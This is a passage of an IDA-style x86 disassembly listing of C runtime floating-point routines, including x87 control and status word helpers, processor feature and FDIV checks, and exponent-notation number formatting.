					; sub_4259A0+ECp ...

var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		mov	dword ptr [ebp+var_C], eax
		mov	ecx, [ebp+arg_4]
		mov	dword ptr [ebp+var_C+4], ecx
		mov	edx, [ebp+arg_8]
		add	edx, 3FEh
		mov	[ebp+var_4], edx
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 800Fh
		mov	ecx, [ebp+var_4]
		shl	ecx, 4
		or	eax, ecx
		mov	word ptr [ebp+var_C+6],	ax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_425830	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		mov	[ebp-4], ax
		mov	cx, [ebp-4]
		sub	cx, 3FEh
		mov	[ebp-4], cx
		movsx	eax, word ptr [ebp-4]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Eh]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		mov	edx, [ebp+10h]
		lea	eax, [ecx+edx-3FEh]
		push	eax
		mov	ecx, [ebp+0Ch]
		push	ecx
		mov	edx, [ebp+8]
		push	edx
		call	sub_425830
		add	esp, 0Ch
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+8]
		mov	[ebp-8], eax
		mov	ecx, [ebp+0Ch]
		mov	[ebp-4], ecx
		mov	edx, [ebp+0Eh]
		and	edx, 0FFFFh
		and	edx, 800Fh
		mov	eax, [ebp+10h]
		shl	eax, 4
		or	edx, eax
		mov	[ebp-2], dx
		fld	qword ptr [ebp-8]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425920	proc near		; CODE XREF: sub_419730+3Fp
					; sub_419950+3Fp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 7FF00000h
		jnz	short loc_425939
		cmp	[ebp+arg_0], 0
		jnz	short loc_425939
		mov	eax, 1
		jmp	short loc_42599A
; ---------------------------------------------------------------------------


loc_425939:				; CODE XREF: sub_425920+Aj
					; sub_425920+10j
		cmp	[ebp+arg_4], 0FFF00000h
		jnz	short loc_42594F
		cmp	[ebp+arg_0], 0
		jnz	short loc_42594F
		mov	eax, 2
		jmp	short loc_42599A
; ---------------------------------------------------------------------------


loc_42594F:				; CODE XREF: sub_425920+20j
					; sub_425920+26j
		mov	eax, [ebp+arg_4+2]
		and	eax, 0FFFFh
		and	eax, 7FF8h
		cmp	eax, 7FF8h
		jnz	short loc_42596A
		mov	eax, 3
		jmp	short loc_42599A
; ---------------------------------------------------------------------------


loc_42596A:				; CODE XREF: sub_425920+41j
		mov	ecx, [ebp+arg_4+2]
		and	ecx, 0FFFFh
		and	ecx, 7FF8h
		cmp	ecx, 7FF0h
		jnz	short loc_425998
		mov	edx, [ebp+arg_4]
		shl	edx, 0Dh
		test	edx, edx
		jnz	short loc_425991
		cmp	[ebp+arg_0], 0
		jz	short loc_425998


loc_425991:				; CODE XREF: sub_425920+69j
		mov	eax, 4
		jmp	short loc_42599A
; ---------------------------------------------------------------------------


loc_425998:				; CODE XREF: sub_425920+5Fj
					; sub_425920+6Fj
		xor	eax, eax


loc_42599A:				; CODE XREF: sub_425920+17j
					; sub_425920+2Dj ...
		pop	ebp
		retn
sub_425920	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_4259A0(double,int)

sub_4259A0	proc near		; CODE XREF: sub_425310+239p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= qword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		fld	[ebp+arg_0]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 40h
		jz	short loc_4259D0
		mov	dword ptr [ebp+var_C], 0
		mov	dword ptr [ebp+var_C+4], 0
		mov	[ebp+var_4], 0
		jmp	loc_425ACA
; ---------------------------------------------------------------------------


loc_4259D0:				; CODE XREF: sub_4259A0+14j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		test	eax, eax
		jnz	loc_425A99
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 0Ch
		test	ecx, ecx
		jnz	short loc_4259F9
		cmp	dword ptr [ebp+arg_0], 0
		jz	loc_425A99


loc_4259F9:				; CODE XREF: sub_4259A0+4Dj
		mov	[ebp+var_4], 0FFFFFC03h
		fld	[ebp+arg_0]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 1
		jz	short loc_425A19
		mov	[ebp+var_14], 1
		jmp	short loc_425A20
; ---------------------------------------------------------------------------


loc_425A19:				; CODE XREF: sub_4259A0+6Ej
		mov	[ebp+var_14], 0


loc_425A20:				; CODE XREF: sub_4259A0+77j
		mov	edx, [ebp+var_14]
		mov	[ebp+var_10], edx


loc_425A26:				; CODE XREF: sub_4259A0+C3j
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 10h
		test	eax, eax
		jnz	short loc_425A65
		mov	ecx, dword ptr [ebp+arg_0+4]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0+4], ecx
		mov	edx, dword ptr [ebp+arg_0]
		and	edx, 80000000h
		test	edx, edx
		jz	short loc_425A52
		mov	eax, dword ptr [ebp+arg_0+4]
		or	al, 1
		mov	dword ptr [ebp+arg_0+4], eax


loc_425A52:				; CODE XREF: sub_4259A0+A8j
		mov	ecx, dword ptr [ebp+arg_0]
		shl	ecx, 1
		mov	dword ptr [ebp+arg_0], ecx
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_425A26
; ---------------------------------------------------------------------------


loc_425A65:				; CODE XREF: sub_4259A0+93j
		mov	ax, word ptr [ebp+arg_0+6]
		and	ax, 0FFEFh
		mov	word ptr [ebp+arg_0+6],	ax
		cmp	[ebp+var_10], 0
		jz	short loc_425A82
		mov	cx, word ptr [ebp+arg_0+6]
		or	ch, 80h
		mov	word ptr [ebp+arg_0+6],	cx


loc_425A82:				; CODE XREF: sub_4259A0+D5j
		push	0
		mov	edx, dword ptr [ebp+arg_0+4]
		push	edx
		mov	eax, dword ptr [ebp+arg_0]
		push	eax
		call	sub_425830
		add	esp, 0Ch
		fstp	[ebp+var_C]
		jmp	short loc_425ACA
; ---------------------------------------------------------------------------


loc_425A99:				; CODE XREF: sub_4259A0+3Fj
					; sub_4259A0+53j
		push	0
		mov	ecx, dword ptr [ebp+arg_0+4]
		push	ecx
		mov	edx, dword ptr [ebp+arg_0]
		push	edx
		call	sub_425830
		add	esp, 0Ch
		fstp	[ebp+var_C]
		mov	eax, dword ptr [ebp+arg_0+6]
		and	eax, 0FFFFh
		and	eax, 7FF0h
		sar	eax, 4
		movsx	ecx, ax
		sub	ecx, 3FEh
		mov	[ebp+var_4], ecx


loc_425ACA:				; CODE XREF: sub_4259A0+2Bj
					; sub_4259A0+F7j
		mov	edx, [ebp+arg_8]
		mov	eax, [ebp+var_4]
		mov	[edx], eax
		fld	[ebp+var_C]
		mov	esp, ebp
		pop	ebp
		retn
sub_4259A0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425AE0	proc near		; CODE XREF: sub_424E40+171p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fstsw	[ebp+var_4]
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_425AE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B00	proc near		; CODE XREF: sub_424E40+349p

var_4		= word ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		fnstsw	[ebp+var_4]
		fnclex
		movsx	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_425B00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B20	proc near		; CODE XREF: sub_419730+11p
					; sub_419730+67p ...

var_8		= word ptr -8
var_4		= word ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		fstcw	[ebp+var_8]
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		movsx	ecx, [ebp+var_8]
		mov	edx, [ebp+arg_4]
		not	edx
		and	ecx, edx
		or	eax, ecx
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		movsx	eax, [ebp+var_8]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_425B20	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425B60	proc near		; CODE XREF: sub_425310+25p
					; sub_425310+50p ...

var_C		= dword	ptr -0Ch
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_0]
		and	eax, 1
		test	eax, eax
		jz	short loc_425B7D
		fld	tbyte_447820
		fistp	[ebp+var_C]
		wait


loc_425B7D:				; CODE XREF: sub_425B60+11j
		mov	ecx, [ebp+arg_0]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_425B97
		fstsw	ax
		fld	tbyte_447820
		fstp	[ebp+var_8]
		wait
		fstsw	ax


loc_425B97:				; CODE XREF: sub_425B60+25j
		mov	edx, [ebp+arg_0]
		and	edx, 10h
		test	edx, edx
		jz	short loc_425BAB
		fld	tbyte_44782C
		fstp	[ebp+var_8]
		wait


loc_425BAB:				; CODE XREF: sub_425B60+3Fj
		mov	eax, [ebp+arg_0]
		and	eax, 4
		test	eax, eax
		jz	short loc_425BBE
		fldz
		fld1
		fdivrp	st(1), st
		fstp	st
		wait


loc_425BBE:				; CODE XREF: sub_425B60+53j
		mov	ecx, [ebp+arg_0]
		and	ecx, 20h
		test	ecx, ecx
		jz	short loc_425BCE
		fldpi
		fstp	[ebp+var_8]
		wait


loc_425BCE:				; CODE XREF: sub_425B60+66j
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_425B60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425BE0	proc near		; CODE XREF: sub_419870+15p
					; .data:0042AEB5p
		push	ebp
		mov	ebp, esp
		push	30000h
		push	10000h
		call	sub_42AE80
		add	esp, 8
		pop	ebp
		retn
sub_425BE0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C00	proc near		; CODE XREF: sub_425C60:loc_425C99p

var_1C		= dword	ptr -1Ch
var_18		= qword	ptr -18h
var_10		= qword	ptr -10h
var_8		= qword	ptr -8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ebp+var_18],	80000000h
		mov	dword ptr [ebp+var_18+4], 4147FFFFh
		mov	dword ptr [ebp+var_8], 0C0000000h
		mov	dword ptr [ebp+var_8+4], 4150017Eh
		fld	[ebp+var_8]
		fdiv	[ebp+var_18]
		fmul	[ebp+var_18]
		fsubr	[ebp+var_8]
		fstp	[ebp+var_10]
		fld	[ebp+var_10]
		fcomp	dbl_434D30
		fnstsw	ax
		test	ah, 41h
		jnz	short loc_425C4D
		mov	[ebp+var_1C], 1
		jmp	short loc_425C54
; ---------------------------------------------------------------------------


loc_425C4D:				; CODE XREF: sub_425C00+42j
		mov	[ebp+var_1C], 0


loc_425C54:				; CODE XREF: sub_425C00+4Bj
		mov	eax, [ebp+var_1C]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_425C00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C60	proc near		; CODE XREF: sub_419870+Bp

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	offset aKernel32 ; "KERNEL32"
		call	dword_4E0360	; GetModuleHandleA
		mov	[ebp+var_4], eax
		cmp	[ebp+var_4], 0
		jz	short loc_425C99
		push	offset aIsprocessorfea ; "IsProcessorFeaturePresent"
		mov	eax, [ebp+var_4]
		push	eax
		call	dword_4E0380	; GetProcAddress
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_425C99
		push	0
		call	[ebp+var_8]
		jmp	short loc_425C9E
; ---------------------------------------------------------------------------


loc_425C99:				; CODE XREF: sub_425C60+18j
					; sub_425C60+30j
		call	sub_425C00


loc_425C9E:				; CODE XREF: sub_425C60+37j
		mov	esp, ebp
		pop	ebp
		retn
sub_425C60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425CB0	proc near		; CODE XREF: sub_4209A0+6CFp
					; DATA XREF: sub_4198B0+21o ...

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_41A690
		add	esp, 4
		cmp	eax, 65h
		jz	short loc_425D10


loc_425CCA:				; CODE XREF: sub_425CB0+5Ej
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		cmp	dword_447480, 1
		jle	short loc_425CF2
		push	4
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		push	ecx
		call	sub_41FA40
		add	esp, 8
		mov	[ebp+var_C], eax
		jmp	short loc_425D0A
; ---------------------------------------------------------------------------


loc_425CF2:				; CODE XREF: sub_425CB0+2Aj
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, off_447274
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_C], edx


loc_425D0A:				; CODE XREF: sub_425CB0+40j
		cmp	[ebp+var_C], 0
		jnz	short loc_425CCA


loc_425D10:				; CODE XREF: sub_425CB0+18j
		mov	eax, [ebp+arg_0]
		mov	cl, [eax]
		mov	[ebp+var_8], cl
		mov	edx, [ebp+arg_0]
		mov	al, byte_447484
		mov	[edx], al
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx


loc_425D2B:				; CODE XREF: sub_425CB0+A2j
		mov	edx, [ebp+arg_0]
		mov	al, [edx]
		mov	[ebp+var_4], al
		mov	ecx, [ebp+arg_0]
		mov	dl, [ebp+var_8]
		mov	[ecx], dl
		mov	al, [ebp+var_4]
		mov	[ebp+var_8], al
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		test	edx, edx
		jnz	short loc_425D2B
		mov	esp, ebp
		pop	ebp
		retn
sub_425CB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425D60	proc near		; CODE XREF: sub_4209A0+6F1p
					; DATA XREF: sub_4198B0+Do ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx


loc_425D64:				; CODE XREF: sub_425D60+28j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_425D8A
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		movsx	ecx, byte_447484
		cmp	eax, ecx
		jz	short loc_425D8A
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_425D64
; ---------------------------------------------------------------------------


loc_425D8A:				; CODE XREF: sub_425D60+Cj
					; sub_425D60+1Dj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		mov	edx, [ebp+arg_0]
		add	edx, 1
		mov	[ebp+arg_0], edx
		test	ecx, ecx
		jz	loc_425E33


loc_425DA1:				; CODE XREF: sub_425D60+6Aj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_425DCC
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		cmp	eax, 65h
		jz	short loc_425DCC
		mov	ecx, [ebp+arg_0]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 45h
		jz	short loc_425DCC
		mov	eax, [ebp+arg_0]
		add	eax, 1
		mov	[ebp+arg_0], eax
		jmp	short loc_425DA1
; ---------------------------------------------------------------------------


loc_425DCC:				; CODE XREF: sub_425D60+49j
					; sub_425D60+54j ...
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx


loc_425DDB:				; CODE XREF: sub_425D60+8Fj
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jnz	short loc_425DF1
		mov	edx, [ebp+arg_0]
		sub	edx, 1
		mov	[ebp+arg_0], edx
		jmp	short loc_425DDB
; ---------------------------------------------------------------------------


loc_425DF1:				; CODE XREF: sub_425D60+84j
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		movsx	edx, byte_447484
		cmp	ecx, edx
		jnz	short loc_425E0B
		mov	eax, [ebp+arg_0]
		sub	eax, 1
		mov	[ebp+arg_0], eax


loc_425E0B:				; CODE XREF: sub_425D60+A0j
					; sub_425D60+D1j
		mov	ecx, [ebp+arg_0]
		add	ecx, 1
		mov	[ebp+arg_0], ecx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	[edx], cl
		mov	edx, [ebp+arg_0]
		movsx	eax, byte ptr [edx]
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		test	eax, eax
		jz	short loc_425E33
		jmp	short loc_425E0B
; ---------------------------------------------------------------------------


loc_425E33:				; CODE XREF: sub_425D60+3Bj
					; sub_425D60+CFj
		mov	esp, ebp
		pop	ebp
		retn
sub_425D60	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E40	proc near		; DATA XREF: sub_4198B0+2Bo
					; .data:off_447848o

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [eax]
		fcomp	dbl_4352F0
		fnstsw	ax
		test	ah, 1
		jnz	short loc_425E5F
		mov	[ebp+var_4], 1
		jmp	short loc_425E66
; ---------------------------------------------------------------------------


loc_425E5F:				; CODE XREF: sub_425E40+14j
		mov	[ebp+var_4], 0


loc_425E66:				; CODE XREF: sub_425E40+1Dj
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_425E40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425E70	proc near		; CODE XREF: sub_4236C0+1138p
					; DATA XREF: sub_4198B0+17o ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 0
		jz	short loc_425E9C
		mov	eax, [ebp+arg_8]
		push	eax
		lea	ecx, [ebp+var_8]
		push	ecx
		call	sub_42B9B0
		add	esp, 8
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+var_8]
		mov	[edx], eax
		mov	ecx, [ebp+var_4]
		mov	[edx+4], ecx
		jmp	short loc_425EB4
; ---------------------------------------------------------------------------


loc_425E9C:				; CODE XREF: sub_425E70+Aj
		mov	edx, [ebp+arg_8]
		push	edx
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42BA30
		add	esp, 8
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_C]
		mov	[ecx], edx


loc_425EB4:				; CODE XREF: sub_425E70+2Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_425E70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425EC0	proc near		; CODE XREF: sub_426350+1Fp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42BB70
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+var_4]
		xor	eax, eax
		cmp	dword ptr [edx], 2Dh
		setz	al
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		xor	edx, edx
		cmp	[ebp+arg_8], 0
		setnle	dl
		add	ecx, edx
		push	ecx
		call	sub_42BA70
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_425F40
		add	esp, 14h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_425EC0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425F40	proc near		; CODE XREF: sub_425EC0+67p
					; sub_426260+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		movsx	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_425F77
		mov	ecx, [ebp+arg_C]
		xor	edx, edx
		cmp	dword ptr [ecx], 2Dh
		setz	dl
		mov	eax, [ebp+arg_0]
		add	eax, edx
		mov	[ebp+var_4], eax
		xor	ecx, ecx
		cmp	[ebp+arg_4], 0
		setnle	cl
		push	ecx
		mov	edx, [ebp+var_4]
		push	edx
		call	sub_4263B0
		add	esp, 8


loc_425F77:				; CODE XREF: sub_425F40+Cj
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx], 2Dh
		jnz	short loc_425F94
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_425F94:				; CODE XREF: sub_425F40+43j
		cmp	[ebp+arg_4], 0
		jle	short loc_425FB8
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+var_4]
		mov	al, [edx+1]
		mov	[ecx], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	al, byte_447484
		mov	[edx], al


loc_425FB8:				; CODE XREF: sub_425F40+58j
		push	offset aE000	; "e+000"
		mov	ecx, [ebp+var_4]
		add	ecx, [ebp+arg_4]
		movsx	edx, [ebp+arg_10]
		neg	edx
		sbb	edx, edx
		inc	edx
		add	ecx, edx
		push	ecx
		call	sub_418870
		add	esp, 8
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_8], 0
		jz	short loc_425FE6
		mov	eax, [ebp+var_4]
		mov	byte ptr [eax],	45h


loc_425FE6:				; CODE XREF: sub_425F40+9Ej
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+0Ch]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 30h
		jz	loc_42609F
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+4]
		sub	eax, 1
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jge	short loc_426021
		mov	ecx, [ebp+var_8]
		neg	ecx
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_4]
		mov	byte ptr [edx],	2Dh


loc_426021:				; CODE XREF: sub_425F40+D1j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax
		cmp	[ebp+var_8], 64h
		jl	short loc_426055
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 64h
		idiv	ecx
		mov	[ebp+var_8], edx


loc_426055:				; CODE XREF: sub_425F40+EEj
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		cmp	[ebp+var_8], 0Ah
		jl	short loc_426089
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	edx, [ebp+var_4]
		mov	cl, [edx]
		add	cl, al
		mov	edx, [ebp+var_4]
		mov	[edx], cl
		mov	eax, [ebp+var_8]
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		mov	[ebp+var_8], edx


loc_426089:				; CODE XREF: sub_425F40+122j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		add	cl, byte ptr [ebp+var_8]
		mov	edx, [ebp+var_4]
		mov	[edx], cl


loc_42609F:				; CODE XREF: sub_425F40+BBj
		mov	eax, [ebp+arg_0]
		mov	esp, ebp
		pop	ebp
		retn
sub_425F40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4260B0	proc near		; CODE XREF: sub_426350+3Bp

var_2C		= byte ptr -2Ch
var_14		= byte ptr -14h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		lea	eax, [ebp+var_14]
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_2C]
		push	ecx
		lea	edx, [ebp+var_14]
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		push	ecx
		mov	edx, [eax]
		push	edx
		call	sub_42BB70
		add	esp, 10h
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ebp+arg_8]
		add	edx, [ecx+4]
		push	edx
		mov	eax, [ebp+var_4]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_4]
		add	edx, ecx
		push	edx
		call	sub_42BA70
		add	esp, 0Ch
		push	0
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_426120
		add	esp, 10h
		mov	eax, [ebp+arg_4]
		mov	esp, ebp
		pop	ebp
		retn
sub_4260B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426120	proc near		; CODE XREF: sub_4260B0+5Bp
					; sub_426260+D9p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+4]
		sub	ecx, 1
		mov	[ebp+var_8], ecx
		movsx	edx, [ebp+arg_C]
		test	edx, edx
		jz	short loc_426173
		mov	eax, [ebp+arg_8]
		xor	ecx, ecx
		cmp	dword ptr [eax], 2Dh
		setz	cl
		mov	edx, [ebp+arg_0]
		add	edx, ecx
		mov	[ebp+var_4], edx
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]
		jnz	short loc_426173
		mov	ecx, [ebp+var_4]
